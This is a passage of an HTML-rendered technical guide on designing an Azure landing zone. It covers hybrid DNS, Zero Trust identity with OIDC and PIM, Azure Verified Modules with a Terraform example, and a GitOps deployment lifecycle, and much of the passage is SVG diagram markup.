style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='212' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='132' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='196' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='132' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='180' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='212' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='132' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='180' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='212' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='52' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='84' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='180' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='212' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='212' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='132' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='196' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='212' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='180' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='212' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='84' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='196' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='52' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='180' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='212' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='36' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='84' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='180' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='212' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='84' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='132' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='212' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='4' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='180' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='84' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='4' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='132' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='196' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='180' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='196' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='36' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='180' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='52' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='180' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='4' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='36' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='52' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='36' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='52' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='132' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='36' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='36' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='36' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='36' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='52' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003eIn 2026, the \u003cstrong\u003eAzure DNS Private Resolver\u003c/strong\u003e is the standard for hybrid name resolution, replacing the need for complex, manual VM-based DNS forwarders. When combined with \u003cstrong\u003eAzure Firewall Premium\u003c/strong\u003e, you gain deep packet inspection and TLS termination at the network boundary.\u003c/p\u003e\n\u003ch2 id=\"3-design-area-2-identity--governance-zero-trust\"\u003e3. Design Area 2: Identity \u0026amp; Governance (Zero Trust)\u003c/h2\u003e\n\u003cp\u003eAPI keys and standing \u0026ldquo;Owner\u0026rdquo; permissions are the primary risks in the modern cloud. Our blueprint moves to a \u003cstrong\u003e\u0026ldquo;Keyless and Standing-Access-Free\u0026rdquo;\u003c/strong\u003e model.\u003c/p\u003e\n\u003ch3 id=\"managed-identity-and-oidc\"\u003eManaged Identity and OIDC\u003c/h3\u003e\n\u003cp\u003eFor CI/CD, we use \u003cstrong\u003eWorkload Identity Federation (OIDC)\u003c/strong\u003e. GitHub Actions and Azure DevOps runners authenticate to Azure using short-lived tokens, eliminating the need to store secrets in your repository settings.\u003c/p\u003e\n\u003ch3 id=\"privileged-identity-management-pim\"\u003ePrivileged Identity Management (PIM)\u003c/h3\u003e\n\u003cp\u003eFor human administrators, we enforce \u003cstrong\u003ePIM-only\u003c/strong\u003e access. No user holds a permanent \u0026ldquo;Owner\u0026rdquo; or \u0026ldquo;Contributor\u0026rdquo; role. Instead, they are \u003cem\u003eeligible\u003c/em\u003e for the role and must activate it for a 4-8 hour window with a business justification and MFA.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Example: Assigning a Management Group Contributor role to a pipeline SPN at root.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Note: This requires Global Administrator privileges to execute.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eaz role assignment create \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --role \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Management Group Contributor\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --scope \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --assignee \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026lt;service-principal-object-id\u0026gt;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"4-building-with-azure-verified-modules-avm\"\u003e4. Building with Azure Verified Modules (AVM)\u003c/h2\u003e\n\u003cp\u003eIn 2026, Microsoft retired two predecessor approaches: the monolithic \u003ccode\u003eterraform-azurerm-caf-enterprise-scale\u003c/code\u003e module and the classic \u003ccode\u003eALZ-Bicep\u003c/code\u003e repository. They have been unified into \u003cstrong\u003eAzure Verified Modules (AVM)\u003c/strong\u003e.\u003c/p\u003e\n\u003cp\u003eAVM modules are atomic, high-quality, and follows a strict \u0026ldquo;Contract\u0026rdquo; for parameters and outputs. This allows you to mix-and-match modules from both Terraform and Bicep while maintaining a consistent security posture.\u003c/p\u003e\n\u003ch3 id=\"terraform-avm-example\"\u003eTerraform AVM Example\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-hcl\" data-lang=\"hcl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;spoke_vnet\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  source  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Azure/avm-res-network-virtualnetwork/azurerm\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  version \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;~\u0026gt; 0.7\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name                \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;vnet-prod-app-001\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  resource_group_name \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;rg-prod-app-001\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  location            \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;eastus\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  address_space       \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;10.1.0.0/16\u0026#34;\u003c/span\u003e]\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e  # AVM includes standard telemetry and diagnostic support\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  diagnostic_settings \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    to_central_law \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      workspace_resource_id \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003elog_analytics_workspace_id\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e # Full Resource ID\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"5-the-deployment-lifecycle-cicd\"\u003e5. The Deployment Lifecycle (CI/CD)\u003c/h2\u003e\n\u003cp\u003eDeploying a landing zone from a laptop is a single point of failure. A production-grade foundation requires a \u003cstrong\u003eGitOps\u003c/strong\u003e workflow.\u003c/p\u003e\n\u003ch3 id=\"the-deployment-lifecycle-avm--cicd\"\u003eThe Deployment Lifecycle (AVM + CI/CD)\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 672 281\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 88,48 L 312,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,96 L 568,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 96,144 L 312,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,256 L 568,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,8 L 80,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,48 L 80,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,208 L 80,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,16 L 320,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,96 L 320,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,144 L 320,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,248 L 320,264' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 576,16 L 576,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='104.000000,144.000000 92.000000,138.399994 92.000000,149.600006' fill='currentColor' transform='rotate(180.000000, 96.000000, 144.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='320.000000,48.000000 308.000000,42.400002 308.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 312.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='576.000000,96.000000 564.000000,90.400002 564.000000,101.599998' fill='currentColor' transform='rotate(0.000000, 568.000000, 96.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='576.000000,256.000000 564.000000,250.399994 564.000000,261.600006' fill='currentColor' transform='rotate(0.000000, 568.000000, 256.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='180' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='196' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='180' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='180' fill='currentColor' 